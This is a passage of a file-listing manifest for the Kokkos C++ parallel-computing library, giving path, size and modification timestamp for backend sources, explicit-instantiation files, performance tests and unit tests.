eti/Threads/Kokkos_Threads_ViewCopyETIInst_int_int_LayoutLeft_Rank5.cpp","size":2422,"last_modified":1529436743}{"name":"./kokkos/core/src/eti/Threads/Kokkos_Threads_ViewCopyETIInst_int64_t_float_LayoutStride_Rank8.cpp","size":2466,"last_modified":1529436742}{"name":"./kokkos/core/src/eti/Threads/Kokkos_Threads_ViewCopyETIInst_int_int64_t_LayoutLeft_Rank2.cpp","size":2426,"last_modified":1529436743}{"name":"./kokkos/core/src/eti/Threads/Kokkos_Threads_ViewCopyETIInst_int_float_LayoutRight_Rank3.cpp","size":2426,"last_modified":1529436743}{"name":"./kokkos/core/src/eti/Threads/Kokkos_Threads_ViewCopyETIInst_int_double_LayoutRight_Rank4.cpp","size":2434,"last_modified":1529436743}{"name":"./kokkos/core/src/eti/Threads/Kokkos_Threads_ViewCopyETIInst_int64_t_double_LayoutLeft_Rank5.cpp","size":2450,"last_modified":1529436742}{"name":"./kokkos/core/src/eti/Threads/Kokkos_Threads_ViewCopyETIInst_int64_t_double_LayoutStride_Rank3.cpp","size":2450,"last_modified":1529436742}{"name":"./kokkos/core/src/eti/Threads/Kokkos_Threads_ViewCopyETIInst_int_int64_t_LayoutRight_Rank1.cpp","size":2426,"last_modified":1529436743}{"name":"./kokkos/core/src/eti/Threads/Kokkos_Threads_ViewCopyETIInst_int64_t_int_LayoutStride_Rank3.cpp","size":2438,"last_modified":1529436743}{"name":"./kokkos/core/src/eti/Threads/Kokkos_Threads_ViewCopyETIInst_int64_t_double_LayoutRight_Rank4.cpp","size":2450,"last_modified":1529436742}{"name":"./kokkos/core/src/eti/Threads/Kokkos_Threads_ViewCopyETIInst_int_int_LayoutStride_Rank3.cpp","size":2422,"last_modified":1529436744}{"name":"./kokkos/core/src/eti/Threads/Kokkos_Threads_ViewCopyETIInst_int_float_LayoutLeft_Rank8.cpp","size":2442,"last_modified":1529436743}{"name":"./kokkos/core/src/eti/Threads/Kokkos_Threads_ViewCopyETIInst_int64_t_float_LayoutStride_Rank1.cpp","size":2438,"last_modified":1529436742}{"name":"./kokkos/core/src/eti/Threads/Kokkos_Threads_ViewCopyETIInst_int_int_LayoutLeft_Rank4.cpp","size":2418,"last_modified":1529436743}{"name":"./kokkos/core/src/eti/Threads/Kokkos_Threads_ViewCopyETIInst_int_int64_t_LayoutLeft_Rank5.cpp","size":2438,"last_modified":1529436743}{"name":"./kokkos/core/src/eti/Threads/Kokkos_Threads_ViewCopyETIInst_int_double_LayoutLeft_Rank4.cpp","size":2430,"last_modified":1529436743}{"name":"./kokkos/core/src/eti/Threads/Kokkos_Threads_ViewCopyETIInst_int_double_LayoutStride_Rank4.cpp","size":2438,"last_modified":1529436743}{"name":"./kokkos/core/src/eti/Threads/Kokkos_Threads_ViewCopyETIInst_int64_t_int_LayoutLeft_Rank3.cpp","size":2430,"last_modified":1529436743}{"name":"./kokkos/core/src/eti/Threads/Kokkos_Threads_ViewCopyETIInst_int_int64_t_LayoutStride_Rank1.cpp","size":2430,"last_modified":1529436743}{"name":"./kokkos/core/src/eti/Threads/Kokkos_Threads_ViewCopyETIInst_int_int_LayoutStride_Rank4.cpp","size":2426,"last_modified":1529436744}{"name":"./kokkos/core/src/eti/Threads/Kokkos_Threads_ViewCopyETIInst_int_float_LayoutLeft_Rank5.cpp","size":2430,"last_modified":1529436743}{"name":"./kokkos/core/src/eti/Threads/Kokkos_Threads_ViewCopyETIInst_int64_t_int64_t_LayoutRight_Rank1.cpp","size":2442,"last_modified":1529436742}{"name":"./kokkos/core/src/eti/Threads/Kokkos_Threads_ViewCopyETIInst_int64_t_int64_t_LayoutLeft_Rank8.cpp","size":2466,"last_modified":1529436742}{"name":"./kokkos/core/src/eti/Threads/Kokkos_Threads_ViewCopyETIInst_int64_t_int64_t_LayoutLeft_Rank4.cpp","size":2450,"last_modified":1529436742}{"name":"./kokkos/core/src/eti/Threads/Kokkos_Threads_ViewCopyETIInst_int_double_LayoutRight_Rank3.cpp","size":2430,"last_modified":1529436743}{"name":"./kokkos/core/src/eti/Threads/Kokkos_Threads_ViewCopyETIInst_int64_t_int64_t_LayoutStride_Rank1.cpp","size":2446,"last_modified":1529436743}{"name":"./kokkos/core/src/eti/Threads/Kokkos_Threads_ViewCopyETIInst_int_float_LayoutRight_Rank1.cpp","size":2418,"last_modified":1529436743}{"name":"./kokkos/core/src/eti/Threads/Kokkos_Threads_ViewCopyETIInst_int64_t_int_LayoutStride_Rank8.cpp","size":2458,"last_modified":1529436743}{"name":"./kokkos/core/src/eti/Threads/Kokkos_Threads_ViewCopyETIInst_int64_t_double_LayoutStride_Rank2.cpp","size":2446,"last_modified":1529436742}{"name":"./kokkos/core/src/eti/Threads/Kokkos_Threads_ViewCopyETIInst_int_int64_t_LayoutLeft_Rank4.cpp","size":2434,"last_modified":1529436743}{"name":"./kokkos/core/src/eti/Threads/Kokkos_Threads_ViewCopyETIInst_int_int_LayoutStride_Rank8.cpp","size":2442,"last_modified":1529436744}{"name":"./kokkos/core/src/eti/Threads/Kokkos_Threads_ViewCopyETIInst_int_float_LayoutRight_Rank5.cpp","size":2434,"last_modified":1529436743}{"name":"./kokkos/core/src/eti/Threads/Kokkos_Threads_ViewCopyETIInst_int64_t_float_LayoutStride_Rank5.cpp","size":2454,"last_modified":1529436742}{"name":"./kokkos/core/src/eti/Threads/Kokkos_Threads_ViewCopyETIInst_int64_t_int_LayoutRight_Rank2.cpp","size":2430,"last_modified":1529436743}{"name":"./kokkos/core/src/eti/Threads/Kokkos_Threads_ViewCopyETIInst_int_float_LayoutStride_Rank4.cpp","size":2434,"last_modified":1529436743}{"name":"./kokkos/core/src/eti/Threads/Kokkos_Threads_ViewCopyETIInst_int_float_LayoutStride_Rank1.cpp","size":2422,"last_modified":1529436743}{"name":"./kokkos/core/src/eti/Threads/Kokkos_Threads_ViewCopyETIInst_int64_t_float_LayoutLeft_Rank2.cpp","size":2434,"last_modified":1529436742}{"name":"./kokkos/core/src/eti/Threads/Kokkos_Threads_ViewCopyETIInst_int64_t_int_LayoutStride_Rank1.cpp","size":2430,"last_modified":1529436743}{"name":"./kokkos/core/src/eti/Threads/Kokkos_Threads_ViewCopyETIInst_int_int_LayoutRight_Rank3.cpp","size":2418,"last_modified":1529436744}{"name":"./kokkos/core/src/eti/Threads/Kokkos_Threads_ViewCopyETIInst_int_double_LayoutRight_Rank5.cpp","size":2438,"last_modified":1529436743}{"name":"./kokkos/core/src/eti/Threads/Kokkos_Threads_ViewCopyETIInst_int_float_LayoutLeft_Rank3.cpp","size":2422,"last_modified":1529436743}{"name":"./kokkos/core/src/eti/Threads/Kokkos_Threads_ViewCopyETIInst_int_float_LayoutLeft_Rank4.cpp","size":2426,"last_modified":1529436743}{"name":"./kokkos/core/src/eti/Threads/Kokkos_Threads_ViewCopyETIInst_int64_t_double_LayoutStride_Rank8.cpp","size":2470,"last_modified":1529436742}{"name":"./kokkos/core/src/eti/Threads/Kokkos_Threads_ViewCopyETIInst_int_int64_t_LayoutLeft_Rank3.cpp","size":2430,"last_modified":1529436743}{"name":"./kokkos/core/src/eti/Threads/Kokkos_Threads_ViewCopyETIInst_int64_t_float_LayoutRight_Rank2.cpp","size":2438,"last_modified":1529436742}{"name":"./kokkos/core/src/eti/Threads/Kokkos_Threads_ViewCopyETIInst_int64_t_float_LayoutLeft_Rank5.cpp","size":2446,"last_modified":1529436742}{"name":"./kokkos/core/src/eti/Threads/Kokkos_Threads_ViewCopyETIInst_int64_t_int64_t_LayoutLeft_Rank2.cpp","size":2442,"last_modified":1529436742}{"name":"./kokkos/core/src/eti/Threads/Kokkos_Threads_ViewCopyETIInst_int64_t_float_LayoutLeft_Rank8.cpp","size":2458,"last_modified":1529436742}{"name":"./kokkos/core/src/eti/Threads/Kokkos_Threads_ViewCopyETIInst_int64_t_int64_t_LayoutStride_Rank2.cpp","size":2450,"last_modified":1529436743}{"name":"./kokkos/core/src/ROCm/Kokkos_ROCm_Task.cpp","size":6110,"last_modified":1529436738}{"name":"./kokkos/core/src/ROCm/Kokkos_ROCm_Impl.cpp","size":22572,"last_modified":1529436738}{"name":"./kokkos/core/src/ROCm/Kokkos_ROCm_Exec.cpp","size":4201,"last_modified":1529436738}{"name":"./kokkos/core/src/ROCm/Kokkos_ROCm_Space.cpp","size":22880,"last_modified":1529436738}{"name":"./kokkos/core/src/OpenMP/Kokkos_OpenMP_Task.cpp","size":8698,"last_modified":1529436738}{"name":"./kokkos/core/src/OpenMP/Kokkos_OpenMP_Exec.cpp","size":15986,"last_modified":1529436738}{"name":"./kokkos/core/src/Cuda/Kokkos_Cuda_Locks.cpp","size":4092,"last_modified":1529436737}{"name":"./kokkos/core/src/Cuda/Kokkos_Cuda_Task.cpp","size":8427,"last_modified":1529436737}{"name":"./kokkos/core/src/Cuda/Kokkos_Cuda_Impl.cpp","size":26717,"last_modified":1529436737}{"name":"./kokkos/core/src/Cuda/Kokkos_CudaSpace.cpp","size":28146,"last_modified":1529436737}{"name":"./kokkos/core/src/Threads/Kokkos_ThreadsExec_base.cpp","size":6622,"last_modified":1529436738}{"name":"./kokkos/core/src/Threads/Kokkos_ThreadsExec.cpp","size":26306,"last_modified":1529436738}{"name":"./kokkos/core/src/Qthreads/Kokkos_Qthreads_Task.cpp","size":9694,"last_modified":1529436738}{"name":"./kokkos/core/src/Qthreads/Kokkos_QthreadsExec.cpp","size":15836,"last_modified":1529436738}{"name":"./kokkos/core/src/impl/Kokkos_Spinwait.cpp","size":5213,"last_modified":1529436745}{"name":"./kokkos/core/src/impl/Kokkos_Profiling_Interface.cpp","size":12667,"last_modified":1529436744}{"name":"./kokkos/core/src/impl/Kokkos_Core.cpp","size":28621,"last_modified":1529436744}{"name":"./kokkos/core/src/impl/Kokkos_MemoryPool.cpp","size":4435,"last_modified":1529436744}{"name":"./kokkos/core/src/impl/Kokkos_ExecPolicy.cpp","size":2317,"last_modified":1529436744}{"name":"./kokkos/core/src/impl/Kokkos_HostSpace.cpp","size":16334,"last_modified":1529436744}{"name":"./kokkos/core/src/impl/Kokkos_Error.cpp","size":5025,"last_modified":1529436744}{"name":"./kokkos/core/src/impl/Kokkos_Serial_Task.cpp","size":5459,"last_modified":1529436744}{"name":"./kokkos/core/src/impl/Kokkos_HostThreadTeam.cpp","size":10832,"last_modified":1529436744}{"name":"./kokkos/core/src/impl/Kokkos_Serial.cpp","size":7016,"last_modified":1529436744}{"name":"./kokkos/core/src/impl/Kokkos_hwloc.cpp","size":24730,"last_modified":1529436745}{"name":"./kokkos/core/src/impl/Kokkos_SharedAlloc.cpp","size":12657,"last_modified":1529436745}{"name":"./kokkos/core/src/impl/Kokkos_HostBarrier.cpp","size":3671,"last_modified":1529436744}{"name":"./kokkos/core/src/impl/Kokkos_HBWSpace.cpp","size":11733,"last_modified":1529436744}{"name":"./kokkos/core/src/impl/Kokkos_CPUDiscovery.cpp","size":3546,"last_modified":1529436744}{"name":"./kokkos/core/perf_test/PerfTest_ViewCopy_d7.cpp","size":2213,"last_modified":1529436737}{"name":"./kokkos/core/perf_test/test_taskdag.cpp","size":8547,"last_modified":1529436737}{"name":"./kokkos/core/perf_test/PerfTestHexGrad.cpp","size":9879,"last_modified":1529436737}{"name":"./kokkos/core/perf_test/PerfTest_ViewCopy_c8.cpp","size":2213,"last_modified":1529436737}{"name":"./kokkos/core/perf_test/PerfTest_ViewCopy_d8.cpp","size":2213,"last_modified":1529436737}{"name":"./kokkos/core/perf_test/PerfTest_ViewCopy_b45.cpp","size":2218,"last_modified":1529436737}{"name":"./kokkos/core/perf_test/PerfTestGramSchmidt.cpp","size":8577,"last_modified":1529436737}{"name":"./kokkos/core/perf_test/PerfTestMain.cpp","size":2653,"last_modified":1529436737}{"name":"./kokkos/core/perf_test/PerfTest_ViewCopy_d45.cpp","size":2215,"last_modified":1529436737}{"name":"./kokkos/core/perf_test/PerfTest_ViewCopy_b7.cpp","size":2216,"last_modified":1529436737}{"name":"./kokkos/core/perf_test/PerfTest_ViewCopy_c7.cpp","size":2213,"last_modified":1529436737}{"name":"./kokkos/core/perf_test/PerfTest_ViewCopy_a123.cpp","size":2214,"last_modified":1529436737}{"name":"./kokkos/core/perf_test/PerfTest_ViewCopy_a7.cpp","size":2210,"last_modified":1529436737}{"name":"./kokkos/core/perf_test/PerfTest_ViewResize_8.cpp","size":2281,"last_modified":1529436737}{"name":"./kokkos/core/perf_test/test_mempool.cpp","size":11387,"last_modified":1529436737}{"name":"./kokkos/core/perf_test/PerfTest_ViewCopy_d123.cpp","size":2217,"last_modified":1529436737}{"name":"./kokkos/core/perf_test/PerfTest_ViewCopy_b8.cpp","size":2216,"last_modified":1529436737}{"name":"./kokkos/core/perf_test/PerfTest_ViewCopy_a8.cpp","size":2210,"last_modified":1529436737}{"name":"./kokkos/core/perf_test/PerfTest_CustomReduction.cpp","size":4764,"last_modified":1529436737}{"name":"./kokkos/core/perf_test/PerfTest_ViewFill_45.cpp","size":2268,"last_modified":1529436737}{"name":"./kokkos/core/perf_test/PerfTest_ViewAllocate.cpp","size":5022,"last_modified":1529436737}{"name":"./kokkos/core/perf_test/PerfTest_ViewFill_6.cpp","size":2265,"last_modified":1529436737}{"name":"./kokkos/core/perf_test/PerfTest_ViewFill_8.cpp","size":2265,"last_modified":1529436737}{"name":"./kokkos/core/perf_test/PerfTest_ViewFill_7.cpp","size":2265,"last_modified":1529436737}{"name":"./kokkos/core/perf_test/PerfTest_ViewCopy_b123.cpp","size":2220,"last_modified":1529436737}{"name":"./kokkos/core/perf_test/PerfTest_ViewCopy_b6.cpp","size":2216,"last_modified":1529436737}{"name":"./kokkos/core/perf_test/PerfTest_ViewFill_123.cpp","size":2271,"last_modified":1529436737}{"name":"./kokkos/core/perf_test/PerfTest_ViewResize_6.cpp","size":2281,"last_modified":1529436737}{"name":"./kokkos/core/perf_test/PerfTest_ViewResize_7.cpp","size":2281,"last_modified":1529436737}{"name":"./kokkos/core/perf_test/PerfTest_ViewCopy_c123.cpp","size":2217,"last_modified":1529436737}{"name":"./kokkos/core/perf_test/PerfTest_ViewResize_45.cpp","size":2285,"last_modified":1529436737}{"name":"./kokkos/core/perf_test/PerfTest_ViewResize_123.cpp","size":2287,"last_modified":1529436737}{"name":"./kokkos/core/perf_test/PerfTest_ViewCopy_c6.cpp","size":2213,"last_modified":1529436737}{"name":"./kokkos/core/perf_test/PerfTest_ViewCopy_a45.cpp","size":2212,"last_modified":1529436737}{"name":"./kokkos/core/perf_test/PerfTest_ViewCopy_c45.cpp","size":2215,"last_modified":1529436737}{"name":"./kokkos/core/perf_test/PerfTest_ViewCopy_a6.cpp","size":2210,"last_modified":1529436737}{"name":"./kokkos/core/perf_test/PerfTest_ViewCopy_d6.cpp","size":2213,"last_modified":1529436737}{"name":"./kokkos/core/perf_test/test_atomic.cpp","size":12588,"last_modified":1529436737}{"name":"./kokkos/core/unit_test/TestHostBarrier.cpp","size":231,"last_modified":1529436746}{"name":"./kokkos/core/unit_test/openmptarget/TestOpenMPTarget_ViewAPI_b.cpp","size":2048,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmptarget/TestOpenMPTarget_MDRange_b.cpp","size":2048,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmptarget/TestOpenMPTarget_MDRange_e.cpp","size":2048,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmptarget/TestOpenMPTarget_SubView_c12.cpp","size":2271,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmptarget/TestOpenMPTarget_RangePolicy.cpp","size":2044,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmptarget/TestOpenMPTarget_SubView_a.cpp","size":3327,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmptarget/TestOpenMPTarget_Reducers_d.cpp","size":2049,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmptarget/TestOpenMPTarget_SubView_c08.cpp","size":2257,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmptarget/TestOpenMPTarget_Atomics.cpp","size":2046,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmptarget/TestOpenMPTarget_Other.cpp","size":2163,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmptarget/TestOpenMPTarget_SubView_c03.cpp","size":2254,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmptarget/TestOpenMPTarget_SubView_c04.cpp","size":2202,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmptarget/TestOpenMPTarget_SubView_c10.cpp","size":2214,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmptarget/TestOpenMPTarget_SubView_c11.cpp","size":2259,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmptarget/TestOpenMPTarget_Team.cpp","size":3236,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmptarget/TestOpenMPTarget_ViewAPI_e.cpp","size":2048,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmptarget/TestOpenMPTarget_MDRange_d.cpp","size":2048,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmptarget/TestOpenMPTarget_Complex.cpp","size":2046,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmptarget/TestOpenMPTarget_ViewAPI_d.cpp","size":2048,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmptarget/TestOpenMPTarget_TeamReductionScan.cpp","size":3681,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmptarget/TestOpenMPTarget_Reducers_a.cpp","size":2049,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmptarget/TestOpenMPTarget_SubView_c02.cpp","size":2242,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmptarget/TestOpenMPTarget_AtomicOperations_longlongint.cpp","size":2066,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmptarget/TestOpenMPTarget_ViewMapping_subview.cpp","size":2059,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmptarget/TestOpenMPTarget_SubView_b.cpp","size":2817,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmptarget/TestOpenMPTarget_Reducers_c.cpp","size":2049,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmptarget/TestOpenMPTarget_AtomicOperations_unsignedlongint.cpp","size":2070,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmptarget/TestOpenMPTarget_SubView_c09.cpp","size":2269,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmptarget/TestOpenMPTarget_SubView_c06.cpp","size":2259,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmptarget/TestOpenMPTarget_Scan.cpp","size":2043,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmptarget/TestOpenMPTarget_ViewAPI_a.cpp","size":2048,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmptarget/TestOpenMPTarget_Init.cpp","size":2114,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmptarget/TestOpenMPTarget_SharedAlloc.cpp","size":2239,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmptarget/TestOpenMPTarget_AtomicOperations_float.cpp","size":2060,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmptarget/TestOpenMPTarget_AtomicOperations_int.cpp","size":2058,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmptarget/TestOpenMPTarget_SubView_c07.cpp","size":2212,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmptarget/TestOpenMPTarget_AtomicOperations_double.cpp","size":2061,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmptarget/TestOpenMPTarget_SubView_c01.cpp","size":2197,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmptarget/TestOpenMPTarget_ViewMapping_b.cpp","size":2053,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmptarget/TestOpenMPTarget_AtomicOperations_unsignedint.cpp","size":2066,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmptarget/TestOpenMPTarget_SubView_c05.cpp","size":2246,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmptarget/TestOpenMPTarget_ViewMapping_a.cpp","size":2053,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmptarget/TestOpenMPTarget_AtomicViews.cpp","size":2050,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmptarget/TestOpenMPTarget_AtomicOperations_longint.cpp","size":2062,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmptarget/TestOpenMPTarget_Reducers_b.cpp","size":2049,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmptarget/TestOpenMPTarget_MDRange_a.cpp","size":2048,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmptarget/TestOpenMPTarget_Reductions.cpp","size":2079,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmptarget/TestOpenMPTarget_ViewOfClass.cpp","size":2051,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmptarget/TestOpenMPTarget_MDRange_c.cpp","size":2048,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmptarget/TestOpenMPTarget_TeamScratch.cpp","size":3149,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/openmptarget/TestOpenMPTarget_ViewAPI_c.cpp","size":2048,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/UnitTest_PushFinalizeHook.cpp","size":4836,"last_modified":1529436747}{"name":"./kokkos/core/unit_test/serial/TestSerial_RangePolicy.cpp","size":2032,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/serial/TestSerial_SubView_c08.cpp","size":2245,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/serial/TestSerial_AtomicOperations_int.cpp","size":2046,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/serial/TestSerial_Other.cpp","size":2194,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/serial/TestSerial_AtomicOperations_unsignedint.cpp","size":2054,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/serial/TestSerial_SubView_c05.cpp","size":2228,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/serial/TestSerial_Reductions.cpp","size":2067,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/serial/TestSerial_ViewAPI_c.cpp","size":2036,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/serial/TestSerial_SubView_c_all.cpp","size":585,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/serial/TestSerial_MDRange_b.cpp","size":2036,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/serial/TestSerial_SubView_c02.cpp","size":2230,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/serial/TestSerial_SubView_c13.cpp","size":2210,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/serial/TestSerial_MDRange_a.cpp","size":2036,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/serial/TestSerial_SubView_c10.cpp","size":2202,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/serial/TestSerial_SubView_c11.cpp","size":2247,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/serial/TestSerial_Reducers_a.cpp","size":2037,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/serial/TestSerial_TeamReductionScan.cpp","size":3669,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/serial/TestSerial_Crs.cpp","size":2030,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/serial/TestSerial_AtomicViews.cpp","size":2038,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/serial/TestSerial_Reducers_c.cpp","size":2037,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/serial/TestSerial_Task.cpp","size":2040,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/serial/TestSerial_ViewAPI_a.cpp","size":2036,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/serial/TestSerial_MDRange_e.cpp","size":2036,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/serial/TestSerial_Complex.cpp","size":2034,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/serial/TestSerial_SubView_c04.cpp","size":2190,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/serial/TestSerial_ViewOfClass.cpp","size":2039,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/serial/TestSerial_Reducers_b.cpp","size":2037,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/serial/TestSerial_AtomicOperations_unsignedlongint.cpp","size":2058,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/serial/TestSerial_Team.cpp","size":3224,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/serial/TestSerial_AtomicOperations_longint.cpp","size":2050,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/serial/TestSerial_Reducers_d.cpp","size":2037,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/serial/TestSerial_SubView_c07.cpp","size":2200,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/serial/TestSerial_TeamScratch.cpp","size":3137,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/serial/TestSerial_ViewAPI_d.cpp","size":2036,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/serial/TestSerial_ViewMapping_a.cpp","size":2041,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/serial/TestSerial_Scan.cpp","size":2031,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/serial/TestSerial_SubView_c09.cpp","size":2257,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/serial/TestSerial_MDRange_c.cpp","size":2036,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/serial/TestSerial_SubView_b.cpp","size":2805,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/serial/TestSerial_AtomicOperations_float.cpp","size":2048,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/serial/TestSerial_AtomicOperations_double.cpp","size":2049,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/serial/TestSerial_SharedAlloc.cpp","size":2186,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/serial/TestSerial_Init.cpp","size":2102,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/serial/TestSerial_AtomicOperations_longlongint.cpp","size":2054,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/serial/TestSerial_MDRange_d.cpp","size":2036,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/serial/TestSerial_SubView_c06.cpp","size":2247,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/serial/TestSerial_ViewAPI_b.cpp","size":2036,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/serial/TestSerial_SubView_c01.cpp","size":2185,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/serial/TestSerial_Atomics.cpp","size":2034,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/serial/TestSerial_ViewAPI_e.cpp","size":2036,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/serial/TestSerial_ViewMapping_subview.cpp","size":2047,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/serial/TestSerial_WorkGraph.cpp","size":2034,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/serial/TestSerial_ViewMapping_b.cpp","size":2041,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/serial/TestSerial_View_64bit.cpp","size":2037,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/serial/TestSerial_SubView_c12.cpp","size":2259,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/serial/TestSerial_SubView_a.cpp","size":3315,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/serial/TestSerial_SubView_c03.cpp","size":2242,"last_modified":1529436749}{"name":"./kokkos/core/unit_test/rocm/TestROCm_SubView_c10.cpp","size":2208,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/rocm/TestROCm_SubView_c08.cpp","size":2251,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/rocm/TestROCm_SubView_a.cpp","size":3311,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/rocm/TestROCm_ViewMapping_subview.cpp","size":2043,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/rocm/TestROCm_TeamScratch.cpp","size":3133,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/rocm/TestROCm_AtomicOperations_double.cpp","size":2045,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/rocm/TestROCm_RangePolicy.cpp","size":2028,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/rocm/TestROCm_AtomicOperations_longlongint.cpp","size":2050,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/rocm/TestROCmHostPinned_View_64bit.cpp","size":2043,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/rocm/TestROCm_SubView_c12.cpp","size":2265,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/rocm/TestROCmHostPinned_ViewAPI_d.cpp","size":2042,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/rocm/TestROCmHostPinned_SharedAlloc.cpp","size":2208,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/rocm/TestROCm_Init.cpp","size":2098,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/rocm/TestROCm_Reductions.cpp","size":2063,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/rocm/TestROCm_ViewAPI_b.cpp","size":2032,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/rocm/TestROCmHostPinned_ViewAPI_c.cpp","size":2042,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/rocm/TestROCm_MDRange_c.cpp","size":2032,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/rocm/TestROCm_Reducers_c.cpp","size":2033,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/rocm/TestROCm_MDRange_a.cpp","size":2032,"last_modified":1529436748}{"name":"./kokkos/core/unit_test/rocm/TestROCm_SubView_c07.cpp","siz